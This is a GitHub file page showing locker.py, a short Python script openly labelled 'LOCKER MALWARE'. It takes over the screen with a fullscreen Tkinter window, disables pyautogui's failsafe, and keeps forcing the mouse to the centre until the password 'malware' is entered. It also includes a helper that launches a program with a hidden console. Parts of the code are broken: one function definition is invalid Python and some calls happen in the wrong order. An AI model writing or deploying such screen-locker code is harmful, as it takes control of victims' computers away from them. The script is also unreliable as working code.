-
Notifications
You must be signed in to change notification settings - Fork 0
/
locker.py
43 lines (38 loc) · 1.14 KB
/
locker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from cProfile import label
from contextlib import closing
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogui import click, moveTo
from time import sleep
import subprocess
def run_invisible_console("Path"):
subprocess.Popen(["Path"], creationflags=0x08000000)
def callback(event):
global key, entry
if entry.get() == "malware":
key = True
def on_closing():
click(width/2, height/2)
moveTo(width/2, height/2)
root.attributes("-fullscreen", True)
root.protocol("WM_DELETE_WINDOW", on_closing)
root.update()
root.bind('<Control-KeyPress-m>', callback)
root = Tk()
pyautogui.FAILSAFE = False
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
root.title('Locker')
root.attributes("-fullscreen", True)
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
label0x0 = Label(root, text="LOCKER MALWARE", font=1)
label0x0.grid(row=0, column=0)
label0x1 = Label(root, text="GUESS PASSWORD", font='Arial 22')
label0x1.place(x=width/2-75-130, y=height/2-25-100)
root.update()
sleep(0.1)
click(width/2, height/2)
key = False
while not key:
on_closing()